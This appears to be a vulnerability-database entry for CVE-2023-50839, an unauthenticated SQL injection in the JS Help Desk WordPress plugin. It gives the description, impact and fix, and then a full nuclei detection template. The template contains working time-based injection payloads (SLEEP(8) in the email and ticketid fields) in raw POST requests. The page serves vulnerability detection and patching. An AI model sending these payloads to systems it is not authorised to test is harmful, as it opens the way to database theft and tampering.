Browse / CVEs / CVE-2023-50839
CVE-2023-50839· CWE-89
JS Help Desk <= 2.8.1 - SQL Injection
The JS Help Desk – Best Help Desk & Support Plugin plugin for WordPress is vulnerable to SQL Injection via the 'email' and 'trackingid' parameters in all versions up to 2.8.2 (exclusive) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
Fix
Update to the latest version of JS Help Desk, version 2.8.2 or later.
How to confirm it
Send: GET /js-support-ticket-controlpanel/
Positive when: contains(body, "/wp-content/plugins/js-support-ticket")
Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 302 and len(body) == 0 and contains(content_type, "text/html")
Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 302 and len(body) == 0 and contains(content_type, "text/html")Run it with nuclei: nuclei -id CVE-2023-50839 -u <target>
The full check
id: CVE-2023-50839
info:
name: JS Help Desk <= 2.8.1 - SQL Injection
author: Shivam Kamboj,s4e-io
severity: critical
description: |
The JS Help Desk – Best Help Desk & Support Plugin plugin for WordPress is vulnerable to SQL Injection via the 'email' and 'trackingid' parameters in all versions up to 2.8.2 (exclusive) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
remediation: |
Update to the latest version of JS Help Desk, version 2.8.2 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-50839
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/js-support-ticket/js-help-desk-281-unauthenticated-sql-injection-via-email-and-trackingid
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-50839
epss-score: 0.02041
epss-percentile: 0.81316
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,js-support-ticket,unauth
flow: http(1) && (http(2) || http(3))
http:
- raw:
- |
GET /js-support-ticket-controlpanel/ HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/js-support-ticket")'
internal: true
- raw:
- |
@timeout: 20s
POST /js-support-ticket-controlpanel/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
form_request=jssupportticket&jstmod=ticket&task=showticketstatus&[email protected]' AND SLEEP(8)-- -&ticketid=test123
matchers:
- type: dsl
dsl:
- 'duration >= 8'
- 'status_code == 302'
- 'len(body) == 0'
- 'contains(content_type, "text/html")'
condition: and
- raw:
- |
@timeout: 20s
POST /js-support-ticket-controlpanel/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
form_request=jssupportticket&jstmod=ticket&task=showticketstatus&[email protected]&ticketid=1'+AND+(SELECT+1+FROM+(SELECT+SLEEP(8))x)--+-
matchers:
- type: dsl
dsl:
- 'duration >= 8'
- 'status_code == 302'
- 'len(body) == 0'
- 'contains(content_type, "text/html")'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2023-50839
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/js-support-ticket/js-help-desk-281-unauthenticated-sql-injection-via-email-and-trackingid
Use this check only on systems you are authorised to test. Where the data comes from